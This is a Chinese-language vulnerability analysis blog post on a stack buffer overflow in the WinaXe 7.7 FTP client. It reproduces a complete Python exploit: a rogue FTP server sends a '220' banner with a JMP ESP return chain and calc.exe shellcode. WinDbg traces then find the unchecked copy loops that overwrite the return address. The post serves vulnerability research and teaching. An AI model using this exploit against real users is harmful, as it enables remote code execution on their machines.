WINAXE FTP客户端 漏洞分析(二)

admin 2023年12月13日23:27:41评论174 views字数 5582阅读18分36秒阅读模式

这个漏洞是K0师傅博客上复现过的漏洞

之前在分析Windows漏洞的时候,我会非常依赖IDA的反编译,但如果漏洞触发的逻辑比较复杂,那分析出漏洞原因和漏洞触发点的过程会就会比较费力。

这里完全利用windbg来进行分析来确定漏洞产生的原因,漏洞的触发点,以及POC的编写逻辑,另外非常感谢K0师傅提供的分析思路


  1. import socket,struct

  2. #WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit

  3. #Discovery hyp3rlinx

  4. #ISR: ApparitionSec

  5. #hyp3rlinx.altervista.org

  6. #shellcode to pop calc.exe Windows 7 SP1

  7. sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B"

  8. "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B"

  9. "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31"

  10. "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA"

  11. "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14"

  12. "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65"

  13. "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC")

  14. eip=struct.pack('<L',0x68084A6F) #POP ECX RET

  15. jmpesp=struct.pack('<L',0x68017296) #JMP ESP

  16. #We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode.

  17. payload="A"*2061+eip+jmpesp+"x90"*10+sc+"x90"*20 #Server Ready '220' Exploit

  18. port = 21

  19. s = socket.socket()

  20. host = '127.0.0.1'

  21. s.bind((host, port))

  22. s.listen(5)

  23. print 'Evil FTPServer listening...'

  24. while True:

  25. conn, addr = s.accept()

  26. conn.send('220'+payload+'rn')

  27. conn.close()

使用POC会发现直接弹出了计算器,这里由于我使用环境和这个POC作者的环境不同,POC里的eip并没有被使用,修改jmpesp,程序成功crash,用kb查看到栈回溯,ftp+0x2cc32即为漏洞触发路径上的一个返回地址


  1. 0:001> g

  2. !SETTRUE 0x680d0858(ff0.468): Access violation - code c0000005 (first chance)

  3. First chance exceptions are reported before any exception handling.

  4. This exception may be expected and handled.

  5. 02e2d4e8 000a add byte ptr [edx],cl ds:002b:41414141=??

  6. 0:001:x86> kb

  7. *** WARNING: Unable to verify checksum for C:UsersPublicProgram FilesLabF.comWinaXeftp.exe

  8. *** ERROR: Module load completed but symbols could not be loaded for C:UsersPublicProgram FilesLabF.comWinaXeftp.exe

  9. ChildEBP RetAddr Args to Child

  10. WARNING: Frame IP not in any known module. Following frames may be wrong.

  11. 02e2d4e8 0042cc32 41303232 41414141 41414141 0x2e2d4e8

  12. 02e2d4ec 41303232 41414141 41414141 41414141 ftp+0x2cc32

  13. 02e2d4f0 41414141 41414141 41414141 41414141 0x41303232

  14. 02e2d4f4 41414141 41414141 41414141 41414141 0x41414141

  15. 0042cc2b 89e0 mov eax,esp

  16. 0042cc2d e86579fdff call ftp+0x4597 (00404597)

  17. 0042cc32 e918ffffff jmp ftp+0x2cb4f (0042cb4f)

步入 ftp+0x4597 (00404597)函数,并单步发现是 image00000000_00400000+0x4502 (00404502)导致的crash


  1. 0:001:x86>

  2. image00000000_00400000+0x45a9:

  3. 004045a9 e854ffffff call image00000000_00400000+0x4502 (00404502)

更改POC中的jmpesp的值为原来的值,重新执行POC,并步入image00000000_00400000+0x4502 (00404502)函数,可以发现函数ret时已经成功跳转到我们布置的jmpesp处,所以漏洞触发点即为004045a9处的函数调用


  1. 0:001:x86>

  2. image00000000_00400000+0x4595:

  3. 00404595 5b pop ebx

  4. 0:001:x86>

  5. image00000000_00400000+0x4596:

  6. 00404596 c3 ret

  7. 0:001:x86>

  8. *** WARNING: Unable to verify checksum for C:UsersPublicProgram FilesLabF.comWinaXeWCMDPA10.dll

  9. *** ERROR: Module load completed but symbols could not be loaded for C:UsersPublicProgram FilesLabF.comWinaXeWCMDPA10.dll

  10. WCMDPA10+0x17296:

  11. 68017296 54 push esp

  12. 0:001:x86>

  13. WCMDPA10+0x17297:

  14. 68017297 c20400 ret 4

接下来分析漏洞产生的原因

为了找到漏洞产生的原因,这里再次断到0042cc2d,发现栈已经被破坏,说明漏洞原因在0042cc2d之前,因此更改POC,使其不会crash,找到0042cc2d的上层函数 0042c17f


  1. 0042cc2b 89e0 mov eax,esp

  2. 0042cc2d e86579fdff call ftp+0x4597 (00404597)

  3. 0042cc32 e918ffffff jmp ftp+0x2cb4f (0042cb4f)

  4. 0:001:x86>

  5. image00000000_00400000+0x2c99a:

  6. 0042c99a c3 ret

  7. 0:001:x86>

  8. image00000000_00400000+0x2c184:

  9. 0042c184 83f8ff cmp eax,0FFFFFFFFh

  10. 0:001:x86> ub 0042c184

  11. image00000000_00400000+0x2c166:

  12. 0042c166 0fbfd3 movsx edx,bx

  13. 0042c169 89f8 mov eax,edi

  14. 0042c16b 8915dce84500 mov dword ptr [image00000000_00400000+0x5e8dc (0045e8dc)],edx

  15. 0042c171 e8caf6ffff call image00000000_00400000+0x2b840 (0042b840)

  16. 0042c176 a300514600 mov dword ptr [image00000000_00400000+0x65100 (00465100)],eax

  17. 0042c17b 85c0 test eax,eax

  18. 0042c17d 7c6e jl image00000000_00400000+0x2c1ed (0042c1ed)

  19. 0042c17f e80c070000 call image00000000_00400000+0x2c890 (0042c890)

进入0042c17f,并单步调试, 调试过程中发现在栈中复制值的情况,且没有检查长度,只判断了是否为结束符


  1. !SETTRUE 0x680d0858Breakpoint 0 hit

  2. image00000000_00400000+0x2c17f:

  3. 0042c17f e80c070000 call image00000000_00400000+0x2c890 (0042c890)

  4. 0:001:x86> t

  5. image00000000_00400000+0x2c890:

  6. 0042c890 53 push ebx

  7. 0:001:x86> u 0042cbed L10

  8. image00000000_00400000+0x2cbed:

  9. 0042cbed 8db42404200000 lea esi,[esp+2004h]

  10. 0042cbf4 89e7 mov edi,esp

  11. 0042cbf6 57 push edi

  12. 0042cbf7 8a06 mov al,byte ptr [esi]

  13. 0042cbf9 8807 mov byte ptr [edi],al

  14. 0042cbfb 3c00 cmp al,0

  15. 0042cbfd 7410 je image00000000_00400000+0x2cc0f (0042cc0f)

  16. 0042cbff 8a4601 mov al,byte ptr [esi+1]

  17. 0042cc02 83c602 add esi,2

  18. 0042cc05 884701 mov byte ptr [edi+1],al

  19. 0042cc08 83c702 add edi,2

  20. 0042cc0b 3c00 cmp al,0

  21. 0042cc0d 75e8 jne image00000000_00400000+0x2cbf7 (0042cbf7)

  22. 0042cc0f 5f pop edi

继续分析发现上面的溢出并不是后续crash的直接原因,跟踪发现在004045a9的函数内部,还有一次复制到栈上的过程,这一过程直接导致了004045a9在ret时eip被控制

漏洞产生和触发的具体的逻辑如下

  1. 0042c17f {

  2. 0042cbed edi 2 esi 复制数据到栈上

  3. 0042cc2d {

  4. 004045a9 { 触发漏洞的函数

  5. 00404524 { 再次复制数据到栈上 042fd4ec <= 漏洞产生点

  6. 0:001:x86> u 00430832 L10

  7. image00000000_00400000+0x30832:

  8. 00430832 8a0a mov cl,byte ptr [edx]

  9. 00430834 8808 mov byte ptr [eax],cl

  10. 00430836 80f900 cmp cl,0

  11. 00430839 7411 je image00000000_00400000+0x3084c (0043084c)

  12. 0043083b 8a4a01 mov cl,byte ptr [edx+1]

  13. 0043083e 83c202 add edx,2

  14. 00430841 884801 mov byte ptr [eax+1],cl

  15. 00430844 83c002 add eax,2

  16. 00430847 80f900 cmp cl,0

  17. 0043084a 75e6 jne image00000000_00400000+0x30832 (00430832)

  18. 0043084c 58 pop eax

  19. 0043084d 59 pop ecx

  20. 0043084e c3 ret

  21. }

  22. ret <= 漏洞触发点

  23. }

  24. }

  25. }

POC即控制eip之后通过jmp esp 将eip 转移到栈上执行shellcode即可

  1. 0:001:x86> r

  2. eax=00000000 ebx=68084a6f ecx=41414141 edx=41414141 esi=41414141 edi=41414141

  3. eip=00404596 esp=043fd4e4 ebp=00000899 iopl=0 nv up ei pl nz na po nc

  4. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202

  5. image00000000_00400000+0x4596:

  6. 00404596 c3 ret

  7. 0:001:x86> p

  8. WCMDPA10+0x17296:

  9. 68017296 54 push esp

  10. 0:001:x86> r

  11. eax=00000000 ebx=68084a6f ecx=41414141 edx=41414141 esi=41414141 edi=41414141

  12. eip=68017296 esp=043fd4e8 ebp=00000899 iopl=0 nv up ei pl nz na po nc

  13. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202

  14. WCMDPA10+0x17296:

  15. 68017296 54 push esp

  16. 0:001:x86> p

  17. WCMDPA10+0x17297:

  18. 68017297 c20400 ret 4

  19. 0:001:x86> u esp

  20. 043fd4e4 e8d43f0490 call 944414bd

  21. 043fd4e9 90 nop

  22. 043fd4ea 90 nop

  23. 043fd4eb 90 nop

  24. 043fd4ec 90 nop

  25. 043fd4ed 90 nop

  26. 043fd4ee 90 nop

  27. 043fd4ef 90 nop

  28. 0:001:x86> p

  29. 043fd4e8 90 nop


原文始发于微信公众号(3072):WINAXE FTP客户端 漏洞分析(二)

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  • 本文由 发表于 2023年12月13日23:27:41
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